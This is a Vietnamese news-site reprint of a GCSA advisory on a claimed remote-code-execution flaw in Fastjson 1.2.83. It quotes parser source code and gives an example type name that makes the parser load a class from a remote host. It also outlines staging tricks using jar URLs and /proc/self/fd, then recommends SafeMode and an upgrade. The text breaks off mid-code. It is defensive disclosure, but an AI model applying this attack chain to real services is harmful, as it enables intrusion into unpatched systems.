BTC
ETH
HTX
SOL
BNB
Xem thị trường
简中
繁中
English
日本語
한국어
ภาษาไทย
Tiếng Việt

GCSA Insight: Phân tích chuyên sâu và Hướng dẫn Phòng thủ về Lỗ hổng “Gadget-Free” Fastjson 1.2.83 (0day)

星球君的朋友们
Odaily资深作者
2026-07-23 08:00
Bài viết này có khoảng 10982 từ, đọc toàn bộ bài viết mất khoảng 16 phút
Fastjson 1.2.83, ngay cả khi AutoType=false mặc định, vẫn có thể kích hoạt thực thi mã từ xa mà không cần gadget truyền thống. Điều này đã được tái hiện trong môi trường cách ly JDK 8/17/21/25 + Spring Boot Loader.
Tóm tắt AI
Mở rộng
  • Quan điểm cốt lõi: Fastjson 1.2.83, ngay cả khi AutoType mặc định bị tắt, vẫn có thể cấu trúc giá trị @type do người dùng kiểm soát thành một URL tuyệt đối, vượt qua kiểm tra an ninh, tải trực tiếp từ xa và khởi tạo một lớp độc hại có chú thích @JSONType, qua đó thực hiện Thực thi mã từ xa (RCE) mà không cần Gadget truyền thống.
  • Các yếu tố chính:
    1. Phương thức ParserConfig.checkAutoType của Fastjson sẽ thay thế các dấu chấm trong giá trị @type bằng dấu gạch chéo, sau đó sử dụng nó như tên tài nguyên để lấy thông qua ClassLoader.getResourceAsStream. Thao tác này không giới hạn giao thức URL, dẫn đến khả năng tải tài nguyên từ xa.
    2. Kẻ tấn công có thể thêm chú thích @JSONType vào lớp từ xa. Khi Fastjson phát hiện điều này, nó coi đó là cơ sở ủy quyền, bỏ qua các kiểm tra lớp cơ sở nguy hiểm và kiểm tra tương thích loại tiếp theo, trực tiếp trả về và khởi tạo lớp đó.
    3. Trong môi trường JDK 17+ hiện đại, kẻ tấn công xây dựng tên loại như jar:http:... để JVM tải xuống JAR từ xa và tạo bộ đệm tạm thời, sau đó sử dụng jar:file:/proc/self/fd/N!... để mở bộ mô tả tệp bộ đệm này, hoàn thành RCE theo từng giai đoạn.
    4. Bằng cách thêm hậu tố Exception vào cuối giá trị @type, Fastjson có thể trả về null thay vì ném ngoại lệ khi tải lớp thất bại, đạt được "trả về mềm", đảm bảo payload có thể tiếp tục thực thi trong chuỗi phân tích mảng của các phiên bản JDK khác nhau.
    5. Lỗ hổng này đã được tái hiện thành công trong JDK 8/17/21/25 và môi trường cách ly Spring Boot Loader. Việc sửa tham số thứ hai của JSON.parseObject không thể phòng thủ.

GCSA - Liên minh An ninh mạng Toàn cầu

Tóm tắt

Trong hệ thống phòng thủ lỗ hổng giải tuần tự hóa Java truyền thống, ngành công nghiệp thường tồn tại những điểm mù nhận thức sau: "Tắt AutoType mặc định là an toàn", "Cố định tham số thứ hai của parseObject (kiểu mục tiêu cấp cao nhất) là an toàn", "Loại bỏ hoàn toàn các phụ thuộc Gadget giải tuần tự hóa khỏi Classpath cục bộ là an toàn". Tuy nhiên, sự phát triển tấn công và phòng thủ công nghệ mới nhất đã phá vỡ hoàn toàn những suy nghĩ may rủi này.

Liên minh An ninh mạng Toàn cầu GCSA hôm nay độc quyền công bố báo cáo phân tích kỹ thuật này. Báo cáo đi sâu phân tích nguyên nhân gốc rễ cấp thấp khiến Fastjson 1.2.83, với AutoType=false mặc định, vẫn có thể kích hoạt thực thi mã từ xa (RCE) mà không cần phụ thuộc Gadget truyền thống. Hiện tại, kỹ thuật khai thác này đã được tái hiện thành công từ đầu đến cuối trong môi trường cách ly JDK 8 / 17 / 21 / 25 và Spring Boot Loader. Lỗ hổng này không phải là "tìm kiếm Gadget cục bộ sau khi vượt qua danh sách đen" truyền thống, mà trực tiếp biến logic dò tìm siêu dữ liệu Class của chính Fastjson thành một kênh lấy và ủy quyền Class độc hại từ xa.

Dưới đây là nội dung chính

  • Đơn vị công bố: Liên minh An ninh mạng Toàn cầu GCSA
  • Loại báo cáo: Phân tích kỹ thuật độc quyền / Báo cáo phân tích chuyên sâu lỗ hổng
  • Ngày báo cáo: 2026-07-21
  • Tình trạng báo cáo: Đã hoàn thành kiểm toán mã nguồn và tái hiện trong môi trường cách ly
  • Mã lỗ hổng: Mã nghiên cứu nội bộ FJ-GETRESOURCE-RCE (không tương ứng với CVE đã công bố)

Fastjson 1.2.83 với AutoType=false mặc định vẫn có thể kích hoạt thực thi mã từ xa mà không cần gadget truyền thống, đã được tái hiện trong môi trường cách ly JDK 8/17/21/25 + Spring Boot Loader. Khuyến nghị kích hoạt ngay SafeMode và chuyển sang Fastjson 2.x.

1. Tóm tắt thực thi

ParserConfig.checkAutoType của Fastjson 1.2.83 chuyển đổi giá trị @type do người dùng kiểm soát thành tên tài nguyên class và chuyển cho getResourceAsStream của ClassLoader hiện tại:

String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

Trong môi trường ClassLoader fat-jar có thể phân giải tên tài nguyên URL tuyệt đối, kẻ tấn công có thể sử dụng phép thay thế dấu chấm để xây dựng các URL http:, jar:http:jar:file: để tải xuống class độc hại có chứa @JSONType từ phía tấn công. Fastjson khi phát hiện chú thích này sẽ gọi loadClass và trả về class đó trước khi kiểm tra lớp cơ sở nguy hiểm và kiểm tra tương thích kiểu mục tiêu. Khi class được khởi tạo và khởi động, mã tùy ý có thể được thực thi.

Việc khai thác này không phụ thuộc vào các gadget giải tuần tự hóa truyền thống có sẵn trong classpath mục tiêu và vẫn có thể kích hoạt ở trạng thái mặc định AutoType=false của Fastjson. Việc cố định kiểu mục tiêu của JSON.parseObject không thể ngăn chặn việc thực thi; việc kích hoạt SafeMode có thể chặn đường dẫn khai thác trước khi truy cập tài nguyên.

Báo cáo này đã hoàn thành việc tái hiện sau đây trong các container Linux cách ly sử dụng cùng một JSON payload:

Môi trường JDKClassLoader Fastjson Kết quả Temurin 8 U492Spring Boot Loader 2.7.181.2.83RCE Thành công Temurin 17.0.19Spring Boot Loader 3.2.01.2.83RCE Thành công Temurin 21.0.11Spring Boot Loader 3.2.01.2.83RCE Thành công Temurin 25.0.3Spring Boot Loader 3.2.01.2.83RCE Thành công

2. Đánh giá lỗ hổng

Dự án Kết luận Loại lỗ hổng Giải tuần tự hóa không an toàn / Chèn class từ xa / Thực thi mã từ xa Mức độ khuyến nghị Cao; có thể xử lý theo mức độ nghiêm trọng khi đáp ứng các điều kiện triển khai đã được xác minh Vector tấn công Mạng từ xa Yêu cầu quyền hạn Không Yêu cầu tương tác người dùng Không Ảnh hưởng đến tính bảo mật Cao Ảnh hưởng đến tính toàn vẹn Cao Ảnh hưởng đến tính khả dụng Cao Độ phức tạp khai thác Phụ thuộc vào ClassLoader, khả năng ra mạng và giao diện mô tả tệp hệ điều hành

Không khuyến nghị chỉ dựa vào phiên bản thành phần để đưa ra CVSS 9.8 thống nhất: AppClassLoader thông thường là đối chứng âm tính, chuỗi hoàn chỉnh của JDK hiện đại còn phụ thuộc vào loader có thể phân giải hai loại URL JAR tuyệt đối và /proc/self/fd. Trong các ứng dụng đáp ứng môi trường tích cực của báo cáo này, hiệu quả lỗ hổng là RCE mạng không cần xác thực.

3. Phạm vi ảnh hưởng và điều kiện tiên quyết

3.1 Phạm vi đã xác nhận

  • Runtime đã xác nhận: Fastjson 1.2.83.
  • JDK đã xác nhận: 8, 17, 21, 25.
  • Hệ điều hành đã xác nhận: Linux; macOS sử dụng /dev/fd cũng đã hoàn thành tái hiện trên JDK 17/21/25.
  • Loader đã xác nhận:

- Spring Boot 2.7.18 classic loader + JDK 8; - Spring Boot 3.2.0 loader + JDK 17/21/25.

  • API đã xác nhận: JSON.parse, và JSON.parseObject với kiểu mục tiêu cố định.

3.2 Giải thích phạm vi phiên bản

1.2.68–1.2.83 trong mô tả bên ngoài phù hợp hơn như một phạm vi thử nghiệm đã biết, thay vì phiên bản giới thiệu lỗ hổng. Đối chiếu mã nguồn cho thấy mã dò tìm tài nguyên class quyết định đã tồn tại trong 1.2.67 và 1.2.68. Báo cáo này chỉ hoàn thành xác minh runtime đa JDK đầy đủ cho 1.2.83, không thể dựa vào đó để khẳng định các phiên bản cũ hơn đều có đầy đủ các điều kiện khai thác từ đầu đến cuối giống hệt nhau.

3.3 Điều kiện cần để khai thác

  1. Kẻ tấn công có thể kiểm soát JSON được truyền vào Fastjson và @type trong đầu vào sẽ được phân tích.
  2. SafeMode chưa được kích hoạt.
  3. ClassLoader tải Fastjson có thể phân giải tên tài nguyên tuyệt đối đã xây dựng thành URL.
  4. Tiến trình nạn nhân có thể kết nối đến dịch vụ HTTP của phía tấn công.
  5. Chuỗi Linux hiện đại yêu cầu /proc/self/fd có thể đọc được và loader có thể phân giải

jar:file:/proc/self/fd/N!....

  1. JDK cần có khả năng tạo bộ nhớ đệm tạm thời cho JAR từ xa bình thường; điều này thường có nghĩa là thư mục tạm thời của JVM có thể ghi được.

Kẻ tấn công không cần:

  • Ghi tệp vào classpath mục tiêu;
  • Classpath mục tiêu đã cài sẵn các gadget như TemplatesImpl, JNDI, C3P0, Commons Collections;
  • Bật Fastjson AutoType;
  • Kiểm soát tham số thứ hai của JSON.parseObject.

4. Phân tích nguyên nhân gốc rễ

4.1 Tên kiểu người dùng được dùng làm URL tài nguyên

Vị trí mã nguồn:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498

Mã cốt lõi:

String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);
} else {
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

Logic này giả định resource chỉ là một đường dẫn classpath thông thường, nhưng không giới hạn giao thức, ngữ nghĩa đường dẫn tuyệt đối hoặc nguồn gốc của nó. Đối với một số loader fat-jar cụ thể, đầu vào sau đây sẽ trở thành URL tuyệt đối sau khi thay thế:

Nhập tên kiểu: http:..localhost:18081.a
Tên tài nguyên: http://localhost:18081/a.class

Do đó, getResourceAsStream vượt quá giới hạn từ truy vấn siêu dữ liệu cục bộ thành tải tài nguyên mạng do kẻ tấn công kiểm soát.

4.2 @JSONType của class từ xa được dùng làm căn cứ ủy quyền

Fastjson sử dụng ASM ClassReader của riêng mình để phân tích nội dung tài nguyên:

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

Phía tấn công chỉ cần class từ xa có chú thích @JSONType của Fastjson là có thể đặt jsonType thành true. Ở đây, byte do kẻ tấn công cung cấp được kiểm tra, chứ không phải một class đã được tải bởi classpath đáng tin cậy.

4.3 jsonType kích hoạt tải class thực tế

Vị trí mã nguồn:

ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

TypeUtils.loadClass lần lượt thử loader rõ ràng, loader ngữ cảnh luồng và Class.forName. Trong môi trường tích cực, loader ngữ cảnh luồng sẽ phân tích lại cùng một tên tài nguyên tuyệt đối, tải xuống class và thực thi defineClass.

4.4 @JSONType trả về sớm, bỏ qua các kiểm tra bảo mật tiếp theo

Vị trí mã nguồn:

ParserConfig.java:1505-1528
if (clazz != null) {
    if (jsonType) {
        return clazz;
    }     // Các kiểm tra này được thực hiện sau khi trả về jsonType.
    if (ClassLoader.class.isAssignableFrom(clazz)
            || DataSource.class.isAssignableFrom(clazz)
            || RowSet.class.isAssignableFrom(clazz)) {
        throw new JSONException(...);
    }     if (expectClass != null) {
        // Kiểm
Sự an toàn
công nghệ
Chào mừng tham gia cộng đồng chính thức của Odaily
Nhóm đăng ký
https://t.me/Odaily_News
Nhóm trò chuyện
https://t.me/Odaily_GoldenApe
Tài khoản chính thức
https://twitter.com/OdailyChina
Nhóm trò chuyện
https://t.me/Odaily_CryptoPunk